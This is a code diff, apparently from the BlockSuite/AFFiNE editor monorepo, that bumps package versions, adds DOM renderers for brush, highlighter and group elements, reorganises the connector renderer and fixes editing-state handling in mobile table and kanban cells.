"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emotion/css": "^11.13.5",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -144,6 +144,16 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
style=${styleMap({
paddingLeft: `${virtualPadding}px`,
paddingRight: `${virtualPadding}px`,
marginLeft:
!this.model.props.textAlign$.value ||
this.model.props.textAlign$?.value === 'left'
? undefined
: 'auto',
marginRight:
!this.model.props.textAlign$.value ||
this.model.props.textAlign$?.value === 'right'
? undefined
: 'auto',
width: 'max-content',
})}
>

View File

@@ -13,7 +13,7 @@
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*",
@@ -82,5 +82,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -193,6 +193,7 @@ export const menuButtonItems = {
(config: {
name: string;
label?: () => TemplateResult;
info?: TemplateResult;
prefix?: TemplateResult;
postfix?: TemplateResult;
isSelected?: boolean;
@@ -211,7 +212,7 @@ export const menuButtonItems = {
return html`
${config.prefix}
<div class="affine-menu-action-text">
${config.label?.() ?? config.name}
${config.label?.() ?? config.name} ${config.info}
</div>
${config.postfix ?? (config.isSelected ? DoneIcon() : undefined)}
`;

View File

@@ -13,7 +13,7 @@
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emotion/css": "^11.13.5",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -103,12 +103,12 @@ export class MobileKanbanCell extends SignalWatcher(
this.disposables.add(
effect(() => {
const isEditing = this.isSelectionEditing$.value;
if (isEditing) {
if (isEditing && !this.isEditing$.peek()) {
this.isEditing$.value = true;
requestAnimationFrame(() => {
this._cell.value?.afterEnterEditingMode();
});
} else {
} else if (!isEditing && this.isEditing$.peek()) {
this._cell.value?.beforeExitEditingMode();
this.isEditing$.value = false;
}

View File

@@ -105,13 +105,13 @@ export class MobileTableCell extends SignalWatcher(
this.disposables.add(
effect(() => {
const isEditing = this.isSelectionEditing$.value;
if (isEditing) {
if (isEditing && !this.isEditing$.peek()) {
this.isEditing$.value = true;
const cell = this._cell.value;
requestAnimationFrame(() => {
cell?.afterEnterEditingMode();
});
} else {
} else if (!isEditing && this.isEditing$.peek()) {
this._cell.value?.beforeExitEditingMode();
this.isEditing$.value = false;
}

View File

@@ -1,4 +1,3 @@
import { IS_IOS } from '@blocksuite/global/env';
import { css } from '@emotion/css';
import { cssVarV2 } from '@toeverything/theme/v2';
@@ -6,12 +5,6 @@ export const mobileTableViewWrapper = css({
position: 'relative',
width: '100%',
paddingBottom: '4px',
/**
* Disable horizontal scrolling to prevent crashes on iOS Safari
* See https://github.com/toeverything/AFFiNE/pull/12203
* and https://github.com/toeverything/blocksuite/pull/8784
*/
overflowX: IS_IOS ? 'hidden' : undefined,
overflowY: 'hidden',
});

View File

@@ -26,5 +26,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -16,7 +16,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -15,7 +15,7 @@
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -35,5 +35,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -40,5 +40,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -20,14 +20,15 @@ const DOC_BLOCK_CHILD_PADDING = 24;
export class DocTitle extends WithDisposable(ShadowlessElement) {
static override styles = css`
.doc-title-container {
box-sizing: border-box;
font-family: var(--affine-font-family);
font-size: var(--affine-font-base);
line-height: var(--affine-line-height);
color: var(--affine-text-primary-color);
font-size: 40px;
line-height: 50px;
font-weight: 700;
}
.doc-icon-container,
.doc-title-container {
box-sizing: border-box;
font-family: var(--affine-font-family);
color: var(--affine-text-primary-color);
outline: none;
resize: none;
border: 0;
@@ -46,9 +47,14 @@ export class DocTitle extends WithDisposable(ShadowlessElement) {
${DOC_BLOCK_CHILD_PADDING}px
);
}
.doc-icon-container + * .doc-title-container {
/* when doc icon exists, remove the top padding */
padding-top: 0;
}
/* Extra small devices (phones, 640px and down) */
@container viewport (width <= 640px) {
.doc-icon-container,
.doc-title-container {
padding-left: ${DOC_BLOCK_CHILD_PADDING}px;
padding-right: ${DOC_BLOCK_CHILD_PADDING}px;

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -1,7 +1,7 @@
export * from './adapter';
export * from './brush-tool';
export * from './element-renderer';
export * from './eraser-tool';
export * from './highlighter-tool';
export * from './renderer';
export * from './toolbar/configs';
export * from './toolbar/senior-tool';

View File

@@ -0,0 +1,69 @@
import {
DomElementRendererExtension,
type DomRenderer,
} from '@blocksuite/affine-block-surface';
import type { BrushElementModel } from '@blocksuite/affine-model';
import { DefaultTheme } from '@blocksuite/affine-model';
export const BrushDomRendererExtension = DomElementRendererExtension(
'brush',
(
model: BrushElementModel,
domElement: HTMLElement,
renderer: DomRenderer
) => {
const { zoom } = renderer.viewport;
const [, , w, h] = model.deserializedXYWH;
// Early return if invalid dimensions
if (w <= 0 || h <= 0) {
return;
}
// Early return if no commands
if (!model.commands) {
return;
}
// Clear previous content
domElement.innerHTML = '';
// Get color value
const color = renderer.getColorValue(model.color, DefaultTheme.black, true);
// Create SVG element
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
svg.style.position = 'absolute';
svg.style.left = '0';
svg.style.top = '0';
svg.style.width = `${w * zoom}px`;
svg.style.height = `${h * zoom}px`;
svg.style.overflow = 'visible';
svg.style.pointerEvents = 'none';
svg.setAttribute('viewBox', `0 0 ${w} ${h}`);
// Apply rotation transform
if (model.rotate !== 0) {
svg.style.transform = `rotate(${model.rotate}deg)`;
svg.style.transformOrigin = 'center';
}
// Create path element for the brush stroke
const pathElement = document.createElementNS(
'http://www.w3.org/2000/svg',
'path'
);
pathElement.setAttribute('d', model.commands);
pathElement.setAttribute('fill', color);
pathElement.setAttribute('stroke', 'none');
svg.append(pathElement);
domElement.replaceChildren(svg);
// Set element size and position
domElement.style.width = `${w * zoom}px`;
domElement.style.height = `${h * zoom}px`;
domElement.style.overflow = 'visible';
domElement.style.pointerEvents = 'none';
}
);

View File

@@ -0,0 +1,73 @@
import {
DomElementRendererExtension,
type DomRenderer,
} from '@blocksuite/affine-block-surface';
import type { HighlighterElementModel } from '@blocksuite/affine-model';
import { DefaultTheme } from '@blocksuite/affine-model';
export const HighlighterDomRendererExtension = DomElementRendererExtension(
'highlighter',
(
model: HighlighterElementModel,
domElement: HTMLElement,
renderer: DomRenderer
) => {
const { zoom } = renderer.viewport;
const [, , w, h] = model.deserializedXYWH;
// Early return if invalid dimensions
if (w <= 0 || h <= 0) {
return;
}
// Early return if no commands
if (!model.commands) {
return;
}
// Clear previous content
domElement.innerHTML = '';
// Get color value
const color = renderer.getColorValue(
model.color,
DefaultTheme.hightlighterColor,
true
);
// Create SVG element
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
svg.style.position = 'absolute';
svg.style.left = '0';
svg.style.top = '0';
svg.style.width = `${w * zoom}px`;
svg.style.height = `${h * zoom}px`;
svg.style.overflow = 'visible';
svg.style.pointerEvents = 'none';
svg.setAttribute('viewBox', `0 0 ${w} ${h}`);
// Apply rotation transform
if (model.rotate !== 0) {
svg.style.transform = `rotate(${model.rotate}deg)`;
svg.style.transformOrigin = 'center';
}
// Create path element for the highlighter stroke
const pathElement = document.createElementNS(
'http://www.w3.org/2000/svg',
'path'
);
pathElement.setAttribute('d', model.commands);
pathElement.setAttribute('fill', color);
pathElement.setAttribute('stroke', 'none');
svg.append(pathElement);
domElement.replaceChildren(svg);
// Set element size and position
domElement.style.width = `${w * zoom}px`;
domElement.style.height = `${h * zoom}px`;
domElement.style.overflow = 'visible';
domElement.style.pointerEvents = 'none';
}
);

View File

@@ -0,0 +1,2 @@
export { BrushDomRendererExtension } from './brush';
export { HighlighterDomRendererExtension } from './highlighter';

View File

@@ -0,0 +1,2 @@
export { BrushElementRendererExtension } from './brush';
export { HighlighterElementRendererExtension } from './highlighter';

View File

@@ -0,0 +1,2 @@
export * from './dom';
export * from './element';

View File

@@ -5,9 +5,14 @@ import {
import { BrushTool } from './brush-tool';
import { effects } from './effects';
import { BrushElementRendererExtension } from './element-renderer';
import { EraserTool } from './eraser-tool';
import { HighlighterTool } from './highlighter-tool';
import {
BrushDomRendererExtension,
BrushElementRendererExtension,
HighlighterDomRendererExtension,
HighlighterElementRendererExtension,
} from './renderer';
import {
brushToolbarExtension,
highlighterToolbarExtension,
@@ -30,6 +35,9 @@ export class BrushViewExtension extends ViewExtensionProvider {
context.register(HighlighterTool);
context.register(BrushElementRendererExtension);
context.register(BrushDomRendererExtension);
context.register(HighlighterElementRendererExtension);
context.register(HighlighterDomRendererExtension);
context.register(brushToolbarExtension);
context.register(highlighterToolbarExtension);

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -1,11 +0,0 @@
import { DomElementRendererExtension } from '@blocksuite/affine-block-surface';
import { connectorDomRenderer } from './connector-dom/index.js';
/**
* Extension to register the DOM-based renderer for 'connector' elements.
*/
export const ConnectorDomRendererExtension = DomElementRendererExtension(
'connector',
connectorDomRenderer
);

View File

@@ -1,9 +1,8 @@
export * from './adapter';
export * from './connector-manager';
export * from './connector-tool';
export * from './element-renderer';
export { ConnectorDomRendererExtension } from './element-renderer/connector-dom';
export * from './element-transform';
export * from './renderer';
export * from './text';
export * from './toolbar/config';
export * from './toolbar/quick-tool';

View File

@@ -1,14 +1,18 @@
import type { DomRenderer } from '@blocksuite/affine-block-surface';
import {
DomElementRendererExtension,
type DomRenderer,
} from '@blocksuite/affine-block-surface';
import {
type ConnectorElementModel,
ConnectorMode,
DefaultTheme,
type LocalConnectorElementModel,
type PointStyle,
} from '@blocksuite/affine-model';
import { PointLocation, SVGPathBuilder } from '@blocksuite/global/gfx';
import { isConnectorWithLabel } from '../../connector-manager.js';
import { DEFAULT_ARROW_SIZE } from '../utils.js';
import { isConnectorWithLabel } from '../connector-manager';
import { DEFAULT_ARROW_SIZE } from './utils';
interface PathBounds {
minX: number;
@@ -221,8 +225,8 @@ function renderConnectorLabel(
* @param element - The HTMLElement to apply the connector's styles to.
* @param renderer - The main DOMRenderer instance, providing access to viewport and color utilities.
*/
export const connectorDomRenderer = (
model: ConnectorElementModel,
export const connectorBaseDomRenderer = (
model: ConnectorElementModel | LocalConnectorElementModel,
element: HTMLElement,
renderer: DomRenderer
): void => {
@@ -358,10 +362,21 @@ export const connectorDomRenderer = (
element.style.height = `${model.h * zoom}px`;
element.style.overflow = 'visible';
element.style.pointerEvents = 'none';
// Set z-index for layering
element.style.zIndex = renderer.layerManager.getZIndex(model).toString();
// Render label if present
renderConnectorLabel(model, element, renderer, zoom);
};
export const connectorDomRenderer = (
model: ConnectorElementModel,
element: HTMLElement,
renderer: DomRenderer
): void => {
connectorBaseDomRenderer(model, element, renderer);
renderConnectorLabel(model, element, renderer, renderer.viewport.zoom);
};
/**
* Extension to register the DOM-based renderer for 'connector' elements.
*/
export const ConnectorDomRendererExtension = DomElementRendererExtension(
'connector',
connectorDomRenderer
);

View File

@@ -25,7 +25,7 @@ import {
} from '@blocksuite/global/gfx';
import { deltaInsertsToChunks } from '@blocksuite/std/inline';
import { isConnectorWithLabel } from '../connector-manager.js';
import { isConnectorWithLabel } from '../connector-manager';
import {
DEFAULT_ARROW_SIZE,
getArrowOptions,
@@ -33,7 +33,7 @@ import {
renderCircle,
renderDiamond,
renderTriangle,
} from './utils.js';
} from './utils';
export const connector: ElementRenderer<
ConnectorElementModel | LocalConnectorElementModel

View File

@@ -0,0 +1,2 @@
export * from './dom-renderer';
export * from './element-renderer';

View File

@@ -6,9 +6,11 @@ import {
import { ConnectionOverlay } from './connector-manager';
import { ConnectorTool } from './connector-tool';
import { effects } from './effects';
import { ConnectorElementRendererExtension } from './element-renderer';
import { ConnectorDomRendererExtension } from './element-renderer/connector-dom';
import { ConnectorFilter } from './element-transform';
import {
ConnectorDomRendererExtension,
ConnectorElementRendererExtension,
} from './renderer';
import { connectorToolbarExtension } from './toolbar/config';
import { connectorQuickTool } from './toolbar/quick-tool';
import { ConnectorElementView, ConnectorInteraction } from './view/view';

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

View File

@@ -1,6 +1,6 @@
export * from './adapter';
export * from './command';
export * from './element-renderer';
export * from './element-view';
export * from './renderer';
export * from './text/text';
export * from './toolbar/config';

View File

@@ -0,0 +1,62 @@
import { DomElementRendererExtension } from '@blocksuite/affine-block-surface';
import { FontWeight, type GroupElementModel } from '@blocksuite/affine-model';
import {
GROUP_TITLE_FONT,
GROUP_TITLE_FONT_SIZE,
GROUP_TITLE_PADDING,
} from './consts';
import { titleRenderParams } from './utils';
export const GroupDomRendererExtension = DomElementRendererExtension(
'group',
(model: GroupElementModel, domElement, renderer) => {
const { zoom } = renderer.viewport;
const [, , w, h] = model.deserializedXYWH;
const renderParams = titleRenderParams(model, zoom);
model.externalXYWH = renderParams.titleBound.serialize();
domElement.innerHTML = '';
domElement.style.outlineColor = '';
domElement.style.outlineWidth = '';
domElement.style.outlineStyle = '';
const elements = renderer.provider.selectedElements?.() || [];
const renderTitle = () => {
const { text } = renderParams;
const titleElement = document.createElement('div');
titleElement.style.transform = `translate(0, -100%)`;
titleElement.style.fontFamily = GROUP_TITLE_FONT;
titleElement.style.fontWeight = `${FontWeight.Regular}`;
titleElement.style.fontStyle = 'normal';
titleElement.style.fontSize = `${GROUP_TITLE_FONT_SIZE}px`;
titleElement.style.color = renderer.getPropertyValue('--affine-blue');
titleElement.style.textAlign = 'left';
titleElement.style.padding = `${GROUP_TITLE_PADDING[0]}px ${GROUP_TITLE_PADDING[1]}px`;
titleElement.textContent = text;
domElement.replaceChildren(titleElement);
};
if (elements.includes(model.id)) {
if (model.showTitle) {
renderTitle();
} else {
domElement.style.outlineColor =
renderer.getPropertyValue('--affine-blue');
domElement.style.outlineWidth = '2px';
domElement.style.outlineStyle = 'solid';
}
} else if (model.childElements.some(child => elements.includes(child.id))) {
domElement.style.outlineColor = '#8FD1FF';
domElement.style.outlineWidth = '2px';
domElement.style.outlineStyle = 'solid';
}
domElement.style.width = `${w * zoom}px`;
domElement.style.height = `${h * zoom}px`;
domElement.style.overflow = 'visible';
domElement.style.pointerEvents = 'none';
}
);

View File

@@ -6,7 +6,7 @@ import {
import type { GroupElementModel } from '@blocksuite/affine-model';
import { Bound } from '@blocksuite/global/gfx';
import { titleRenderParams } from './utils.js';
import { titleRenderParams } from './utils';
export const group: ElementRenderer<GroupElementModel> = (
model,

View File

@@ -0,0 +1,2 @@
export * from './dom-renderer';
export * from './element-renderer';

View File

@@ -13,7 +13,7 @@ import {
GROUP_TITLE_FONT_SIZE,
GROUP_TITLE_OFFSET,
GROUP_TITLE_PADDING,
} from './consts.js';
} from './consts';
export function titleRenderParams(group: GroupElementModel, zoom: number) {
let text = group.title.toString().trim();

View File

@@ -21,7 +21,7 @@ import {
GROUP_TITLE_FONT_SIZE,
GROUP_TITLE_OFFSET,
GROUP_TITLE_PADDING,
} from '../element-renderer/consts';
} from '../renderer/consts';
export function mountGroupTitleEditor(
group: GroupElementModel,

View File

@@ -4,9 +4,12 @@ import {
} from '@blocksuite/affine-ext-loader';
import { effects } from './effects';
import { GroupElementRendererExtension } from './element-renderer';
import { GroupElementView, GroupInteraction } from './element-view';
import { GroupInteractionExtension } from './interaction-ext';
import {
GroupDomRendererExtension,
GroupElementRendererExtension,
} from './renderer';
import { groupToolbarExtension } from './toolbar/config';
export class GroupViewExtension extends ViewExtensionProvider {
@@ -20,6 +23,7 @@ export class GroupViewExtension extends ViewExtensionProvider {
override setup(context: ViewExtensionContext) {
super.setup(context);
context.register(GroupElementRendererExtension);
context.register(GroupDomRendererExtension);
context.register(GroupElementView);
if (this.isEdgeless(context.scope)) {
context.register(groupToolbarExtension);

View File

@@ -21,7 +21,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.2"
}

Some files were not shown because too many files have changed in this diff Show More